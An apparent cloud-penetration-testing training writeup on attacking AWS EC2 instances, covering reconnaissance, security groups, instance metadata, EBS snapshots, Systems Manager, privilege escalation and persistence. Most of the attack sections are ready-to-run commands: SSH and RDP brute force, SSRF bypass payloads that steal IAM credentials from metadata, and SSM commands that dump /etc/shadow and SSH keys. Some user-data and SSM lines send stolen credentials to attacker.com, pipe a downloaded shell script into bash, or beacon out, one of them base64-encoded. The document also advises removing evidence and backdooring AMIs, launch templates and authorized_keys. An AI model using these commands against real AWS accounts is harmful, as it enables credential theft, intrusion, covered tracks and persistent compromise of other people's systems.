AWS EC2 Attacks

intermediate35 minWriteup

Attacking EC2 instances and related services

Learning Objectives

  • Find exposed EC2 instances
  • Exploit security group misconfigs
  • Access instance metadata
  • Pivot through EC2

Amazon EC2 (Elastic Compute Cloud) provides virtual servers in AWS. While EC2 instances look like regular servers, they have cloud-specific attack surfaces: instance metadata for credentials, security groups as firewalls, and instance profiles for IAM access. Understanding EC2 security is fundamental to cloud penetration testing.

EC2 attacks often combine traditional server exploitation with cloud-specific techniques. A web application vulnerability might lead to command execution, which leads to metadata access, which provides IAM credentials, which compromises the entire AWS account. It's the cloud version of "one vuln to rule them all."

EC2 = Traditional + Cloud

EC2 instances are regular Linux/Windows servers with all their usual vulnerabilities. But they also have cloud features (metadata, IAM roles, user data) that create additional attack vectors.

EC2 Security Model

1EC2 Security Layers:
2 
3┌─────────────────────────────────────────────────────────────────────┐
4│ EC2 Instance │
5├─────────────────────────────────────────────────────────────────────┤
6│ Operating System │ Your responsibility to patch/harden │
7│ Applications │ Your code, your vulnerabilities │
8│ Instance Profile/Role │ IAM credentials for AWS API access │
9│ User Data │ Bootstrap scripts (often contain secrets)│
10└─────────────────────────────────────────────────────────────────────┘
11
12┌─────────────────────────────────────────────────────────────────────┐
13│ Security Groups (Stateful Firewall) │
14├─────────────────────────────────────────────────────────────────────┤
15│ Inbound Rules │ What can connect TO the instance │
16│ Outbound Rules │ What the instance can connect TO │
17│ Default Deny │ No rules = no traffic │
18└─────────────────────────────────────────────────────────────────────┘
19
20┌─────────────────────────────────────────────────────────────────────┐
21│ Network ACLs (Stateless) │
22├─────────────────────────────────────────────────────────────────────┤
23│ Subnet-level firewall, rarely used for fine-grained control │
24└─────────────────────────────────────────────────────────────────────┘
25
26┌─────────────────────────────────────────────────────────────────────┐
27│ VPC │
28├─────────────────────────────────────────────────────────────────────┤
29│ Internet Gateway │ Public internet access │
30│ NAT Gateway │ Outbound-only internet for private subnets │
31│ VPC Peering │ Connections to other VPCs │
32│ VPC Endpoints │ Private access to AWS services │
33└─────────────────────────────────────────────────────────────────────┘

EC2 Enumeration

bash
1606070;"># External EC2 Enumeration (Reconnaissance)
2 
3606070;"># Find EC2 instances via DNS
4dig company.com
5606070;"># Look for ec2-*.compute.amazonaws.com
6606070;"># Or custom domains pointing to EC2 IPs
7 
8606070;"># Shodan for EC2
9shodan search 606070;">#a5d6ff;">"org:Amazon.com" company
10shodan search 606070;">#a5d6ff;">"ssl.cert.subject.cn:company.com"
11 
12606070;"># Check if IP is in AWS range
13curl https:606070;">//ip-ranges.amazonaws.com/ip-ranges.json | jq '.prefixes[] | select(.ip_prefix | contains("54.123.45"))'
14 
15606070;"># Scan EC2 IP ranges (with permission!)
16nmap -sV -p 80,443,22,3389 54.123.45.0/24
17 
18 
19606070;"># Authenticated EC2 Enumeration
20─────────────────────────────────────────────────────────────────────
21606070;"># List all instances
22aws ec2 describe-instances
23 
24606070;"># Get specific fields
25aws ec2 describe-instances --query 606070;">#a5d6ff;">'Reservations[*].Instances[*].[InstanceId,State.Name,PublicIpAddress,PrivateIpAddress,InstanceType,Tags[?Key==`Name`].Value|[0]]' --output table
26 
27606070;"># Find instances with public IPs
28aws ec2 describe-instances --filters 606070;">#a5d6ff;">"Name=ip-address,Values=*" --query 'Reservations[*].Instances[*].[InstanceId,PublicIpAddress]'
29 
30606070;"># Get security groups
31aws ec2 describe-security-groups
32 
33606070;"># Find wide-open security groups (0.0.0.0/0)
34aws ec2 describe-security-groups --query 606070;">#a5d6ff;">'SecurityGroups[?IpPermissions[?IpRanges[?CidrIp==`0.0.0.0/0`]]].[GroupId,GroupName,IpPermissions]'
35 
36606070;"># List key pairs
37aws ec2 describe-key-pairs
38 
39606070;"># Get instance user data (often contains secrets!)
40aws ec2 describe-instance-attribute --instance-id i-1234567890abcdef0 --attribute userData --query 606070;">#a5d6ff;">'UserData.Value' --output text | base64 -d

User Data Contains Secrets

EC2 user data scripts often contain database passwords, API keys, and bootstrap credentials. Always check user data when you compromise an instance or have describe permissions.

Security Group Attacks

bash
1606070;"># Analyzing Security Group Misconfigurations
2 
3606070;"># Common Dangerous Rules
4─────────────────────────────────────────────────────────────────────
5606070;"># Wide open SSH
6aws ec2 describe-security-groups --query 606070;">#a5d6ff;">'SecurityGroups[*].IpPermissions[?FromPort==`22` && IpRanges[?CidrIp==`0.0.0.0/0`]]'
7 
8606070;"># Wide open RDP
9aws ec2 describe-security-groups --query 606070;">#a5d6ff;">'SecurityGroups[*].IpPermissions[?FromPort==`3389` && IpRanges[?CidrIp==`0.0.0.0/0`]]'
10 
11606070;"># Wide open databases
12606070;"># MySQL: 3306, PostgreSQL: 5432, MongoDB: 27017, Redis: 6379
13 
14606070;"># ALL traffic from anywhere (worst case)
15aws ec2 describe-security-groups --query 606070;">#a5d6ff;">'SecurityGroups[?IpPermissions[?IpProtocol==`-1` && IpRanges[?CidrIp==`0.0.0.0/0`]]]'
16 
17 
18606070;"># Exploiting Security Group Misconfigs
19─────────────────────────────────────────────────────────────────────
20606070;"># 1. SSH brute force (if 22 is open to internet)
21hydra -L users.txt -P passwords.txt ssh:606070;">//target-ec2
22 
23606070;"># 2. RDP attacks (if 3389 is open)
24crowbar -b rdp -s target-ec2/32 -u admin -C passwords.txt
25 
26606070;"># 3. Direct database access
27mysql -h target-ec2 -u root -p
28psql -h target-ec2 -U postgres
29 
30606070;"># 4. Exposed services
31curl http:606070;">//target-ec2:8080 # Management consoles
32curl http:606070;">//target-ec2:9200 # Elasticsearch
33curl http:606070;">//target-ec2:6379 # Redis
34 
35 
36606070;"># Modifying Security Groups (if you have permissions)
37─────────────────────────────────────────────────────────────────────
38606070;"># Add rule to allow your IP
39aws ec2 authorize-security-group-ingress --group-id sg-12345678 --protocol tcp --port 22 --cidr YOUR_IP/32
40 
41606070;"># After exploitation, remove the evidence
42aws ec2 revoke-security-group-ingress --group-id sg-12345678 --protocol tcp --port 22 --cidr YOUR_IP/32

Instance Metadata Exploitation

bash
1606070;"># EC2 Instance Metadata (from inside instance)
2 
3606070;"># Basic instance info
4curl http:606070;">//169.254.169.254/latest/meta-data/
5curl http:606070;">//169.254.169.254/latest/meta-data/instance-id
6curl http:606070;">//169.254.169.254/latest/meta-data/hostname
7curl http:606070;">//169.254.169.254/latest/meta-data/public-ipv4
8 
9606070;"># THE PRIZE: IAM Credentials
10─────────────────────────────────────────────────────────────────────
11606070;"># Get IAM role name
12curl http:606070;">//169.254.169.254/latest/meta-data/iam/security-credentials/
13606070;"># Returns: EC2-WebServer-Role
14 
15606070;"># Get credentials
16curl http:606070;">//169.254.169.254/latest/meta-data/iam/security-credentials/EC2-WebServer-Role
17{
18 606070;">#a5d6ff;">"Code" : "Success",
19 606070;">#a5d6ff;">"AccessKeyId" : "ASIAXXX...",
20 606070;">#a5d6ff;">"SecretAccessKey" : "xxx...",
21 606070;">#a5d6ff;">"Token" : "xxx...",
22 606070;">#a5d6ff;">"Expiration" : "2024-01-15T18:00:00Z"
23}
24 
25 
26606070;"># User Data (bootstrap scripts - often contain secrets!)
27─────────────────────────────────────────────────────────────────────
28curl http:606070;">//169.254.169.254/latest/user-data
29 
30606070;"># Common secrets in user data:
31606070;"># - Database passwords
32606070;"># - API keys
33606070;"># - SSH private keys
34606070;"># - Application secrets
35 
36 
37606070;"># Getting Metadata via SSRF
38─────────────────────────────────────────────────────────────────────
39606070;"># If application is vulnerable to SSRF:
40https:606070;">//app.company.com/fetch?url=http://169.254.169.254/latest/meta-data/
41 
42606070;"># Bypass attempts:
43http:606070;">//[::ffff:169.254.169.254]/
44http:606070;">//169.254.169.254.xip.io/
45http:606070;">//2852039166/ # Decimal IP
46 
47 
48606070;"># IMDSv2 Protection (but still exploitable with token)
49─────────────────────────────────────────────────────────────────────
50606070;"># IMDSv2 requires PUT request for token first
51TOKEN=$(curl -X PUT 606070;">#a5d6ff;">"http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
52 
53606070;"># Then use token for requests
54curl -H 606070;">#a5d6ff;">"X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/
55 
56606070;"># From inside EC2, you can still get credentials even with IMDSv2
57606070;"># SSRF is harder but not impossible if attacker can make PUT requests

Check User Data First

When you get shell access to an EC2 instance, immediately check user data (curl metadata/user-data). It's often full of credentials that were "just for bootstrapping" but never cleaned up.

EBS Snapshot Attacks

bash
1606070;"># EBS Snapshot Exploitation
2 
3606070;"># Snapshots may contain:
4606070;"># - Database files
5606070;"># - Application code
6606070;"># - SSH keys
7606070;"># - Credentials in config files
8606070;"># - Sensitive business data
9 
10 
11606070;"># Find Public Snapshots
12─────────────────────────────────────────────────────────────────────
13606070;"># List public snapshots (made public accidentally)
14aws ec2 describe-snapshots --restorable-by-user-ids all --query 606070;">#a5d6ff;">'Snapshots[*].[SnapshotId,Description,OwnerId]'
15 
16606070;"># Search for specific patterns
17aws ec2 describe-snapshots --restorable-by-user-ids all --filters 606070;">#a5d6ff;">"Name=description,Values=*backup*"
18 
19 
20606070;"># Mount and Analyze Snapshot
21─────────────────────────────────────────────────────────────────────
22606070;"># 1. Create volume from snapshot
23aws ec2 create-volume --availability-zone us-east-1a --snapshot-id snap-1234567890abcdef0
24 
25606070;"># 2. Attach to your EC2 instance
26aws ec2 attach-volume --volume-id vol-xxx --instance-id i-yourinstance --device /dev/sdf
27 
28606070;"># 3. Mount and explore (on your instance)
29sudo mkdir /mnt/snapshot
30sudo mount /dev/xvdf1 /mnt/snapshot
31 
32606070;"># 4. Search for secrets
33grep -r 606070;">#a5d6ff;">"password|secret|key|token" /mnt/snapshot/etc/
34grep -r 606070;">#a5d6ff;">"AKIA|ASIA" /mnt/snapshot/ # AWS keys
35cat /mnt/snapshot/home/*/.ssh/id_rsa
36cat /mnt/snapshot/home/*/.bash_history
37cat /mnt/snapshot/var/www/html/.env
38 
39 
40606070;"># Creating Snapshot for Lateral Movement
41─────────────────────────────────────────────────────────────────────
42606070;"># If you have ec2:CreateSnapshot permission
43aws ec2 create-snapshot --volume-id vol-targetinstance --description 606070;">#a5d6ff;">"Backup"
44 
45606070;"># Then mount and extract data from target's disk

Systems Manager (SSM) Attacks

bash
1606070;"># AWS Systems Manager for EC2 Access
2 
3606070;"># SSM provides shell access without SSH/RDP
4606070;"># Requires: SSM Agent on instance + IAM permissions
5 
6606070;"># List managed instances
7aws ssm describe-instance-information
8 
9606070;"># Get shell on instance (no SSH needed!)
10aws ssm start-session --target i-1234567890abcdef0
11 
12606070;"># This opens an interactive shell with the permissions
13606070;"># of the SSM agent (usually root/SYSTEM!)
14 
15 
16606070;"># SSM Run Command (execute on multiple instances)
17─────────────────────────────────────────────────────────────────────
18606070;"># Run command on instance
19aws ssm send-command --instance-ids i-1234567890abcdef0 --document-name 606070;">#a5d6ff;">"AWS-RunShellScript" --parameters 'commands=["cat /etc/shadow"]'
20 
21606070;"># Get command output
22aws ssm get-command-invocation --command-id 606070;">#a5d6ff;">"xxx" --instance-id i-1234567890abcdef0
23 
24 
25606070;"># Extracting Secrets via SSM
26─────────────────────────────────────────────────────────────────────
27606070;"># Dump environment variables
28aws ssm send-command --instance-ids i-xxx --document-name 606070;">#a5d6ff;">"AWS-RunShellScript" --parameters 'commands=["env"]'
29 
30606070;"># Get AWS credentials from metadata
31aws ssm send-command --instance-ids i-xxx --document-name 606070;">#a5d6ff;">"AWS-RunShellScript" --parameters 'commands=["curl http://169.254.169.254/latest/meta-data/iam/security-credentials/"]'
32 
33606070;"># Extract SSH keys
34aws ssm send-command --instance-ids i-xxx --document-name 606070;">#a5d6ff;">"AWS-RunShellScript" --parameters 'commands=["cat /home/*/.ssh/id_rsa"]'
35 
36 
37606070;"># SSM Parameter Store (often contains secrets)
38─────────────────────────────────────────────────────────────────────
39aws ssm describe-parameters
40aws ssm get-parameter --name /prod/database/password --with-decryption

SSM Bypasses Network Security

SSM Session Manager doesn't require inbound ports - it uses outbound HTTPS to AWS. An instance with no SSH access may still be accessible via SSM if the agent is installed.

EC2 Privilege Escalation

bash
1606070;"># EC2-Based Privilege Escalation
2 
3606070;"># Method 1: Launch Instance with Privileged Role
4─────────────────────────────────────────────────────────────────────
5606070;"># Required: ec2:RunInstances + iam:PassRole
6 
7aws ec2 run-instances --image-id ami-12345678 --instance-type t2.micro --iam-instance-profile Name=AdminProfile --user-data '606070;">#!/bin/bash
8 606070;"># Create backdoor
9 curl http:606070;">//169.254.169.254/latest/meta-data/iam/security-credentials/AdminRole > /tmp/creds
10 curl -X POST https:606070;">//attacker.com/exfil -d @/tmp/creds
11 '
12 
13 
14606070;"># Method 2: Modify Instance Profile
15─────────────────────────────────────────────────────────────────────
16606070;"># Required: ec2:AssociateIamInstanceProfile
17 
18606070;"># Attach admin profile to existing instance
19aws ec2 associate-iam-instance-profile --instance-id i-targetinstance --iam-instance-profile Name=AdminProfile
20 
21606070;"># Access credentials from inside instance
22 
23 
24606070;"># Method 3: Exploit EC2 Image Builder
25─────────────────────────────────────────────────────────────────────
26606070;"># If you can modify build components, inject code that runs during image build
27606070;"># The build instance often has elevated permissions
28 
29 
30606070;"># Method 4: Modify User Data for Re-Provisioning
31─────────────────────────────────────────────────────────────────────
32606070;"># User data runs on first boot (or every boot if configured)
33606070;"># If you can modify an AMI or Launch Template:
34 
35aws ec2 create-launch-template --launch-template-name malicious --launch-template-data '{
36 606070;">#a5d6ff;">"UserData": "IyEvYmluL2Jhc2gKY3VybCBodHRwOi8vYXR0YWNrZXIuY29tL3NoZWxsLnNoIHwgYmFzaA=="
37 }'
38606070;"># Base64 of: #!/bin/bash
39curl http:606070;">//attacker.com/shell.sh | bash

EC2 Persistence

bash
1606070;"># Maintaining Access to EC2
2 
3606070;"># Method 1: SSH Key Injection
4─────────────────────────────────────────────────────────────────────
5606070;"># Add your SSH key to authorized_keys
6echo 606070;">#a5d6ff;">"ssh-rsa AAAA..." >> /home/ec2-user/.ssh/authorized_keys
7 
8606070;"># Or via user data (if instance is recreated)
9aws ec2 modify-instance-attribute --instance-id i-xxx --attribute userData --value $(echo '606070;">#!/bin/bash
10echo 606070;">#a5d6ff;">"ssh-rsa AAAA..." >> /home/ec2-user/.ssh/authorized_keys' | base64)
11 
12 
13606070;"># Method 2: Create AMI Backdoor
14─────────────────────────────────────────────────────────────────────
15606070;"># Create AMI from compromised instance
16aws ec2 create-image --instance-id i-compromised --name 606070;">#a5d6ff;">"Backup-$(date +%Y%m%d)"
17 
18606070;"># The AMI contains your backdoor
19606070;"># Anyone who launches from this AMI gets compromised
20 
21 
22606070;"># Method 3: Modify Launch Template
23─────────────────────────────────────────────────────────────────────
24606070;"># If Auto Scaling uses this template, new instances are backdoored
25aws ec2 create-launch-template-version --launch-template-name production --source-version 1 --launch-template-data '{
26 606070;">#a5d6ff;">"UserData": "BACKDOOR_SCRIPT_BASE64"
27 }'
28 
29 
30606070;"># Method 4: Security Group Backdoor
31─────────────────────────────────────────────────────────────────────
32606070;"># Allow your IP to connect
33aws ec2 authorize-security-group-ingress --group-id sg-xxx --protocol tcp --port 4444 --cidr YOUR_IP/32
34 
35606070;"># Set up reverse shell listener on instance
36606070;"># Connect whenever needed
37 
38 
39606070;"># Method 5: SSM Association
40─────────────────────────────────────────────────────────────────────
41606070;"># Create SSM association that runs periodically
42aws ssm create-association --name 606070;">#a5d6ff;">"AWS-RunShellScript" --targets "Key=instanceids,Values=i-xxx" --schedule-expression "rate(1 hour)" --parameters 'commands=["curl attacker.com/beacon"]'

EC2 Attack Methodology

EC2 Security Assessment

1
External ReconnaissanceFind EC2 instances via DNS, IP scanning, Shodan. Identify exposed services and ports.
2
Security Group AnalysisCheck for overly permissive rules (0.0.0.0/0), exposed databases, management interfaces.
3
Instance EnumerationList instances, their IAM roles, user data, and attached volumes. Look for sensitive configurations.
4
ExploitationAttack exposed services (web apps, SSH, RDP). Exploit SSRF to metadata. Use SSM if available.
5
Credential ExtractionGet IAM credentials from metadata. Check user data for hardcoded secrets. Search instance filesystem.
6
Lateral MovementUse stolen IAM credentials to access other AWS services. Create snapshots of other volumes. Use SSM on other instances.

Knowledge Check

Quick Quiz
Question 1 of 3

What is the IP address for EC2 instance metadata?

Challenges

EC2 Metadata Extraction Script

Challenge
🔥 intermediate

Write a script that extracts all useful information from EC2 metadata: instance ID, IAM credentials, user data, and network configuration.

Need a hint? (4 available)

Key Takeaways

  • EC2 combines traditional server security with cloud-specific vectors
  • Instance metadata (169.254.169.254) provides IAM credentials from inside
  • User data scripts often contain hardcoded credentials
  • Security groups open to 0.0.0.0/0 are major vulnerabilities
  • SSM provides shell access without inbound ports
  • EBS snapshots may contain sensitive data and can be mounted elsewhere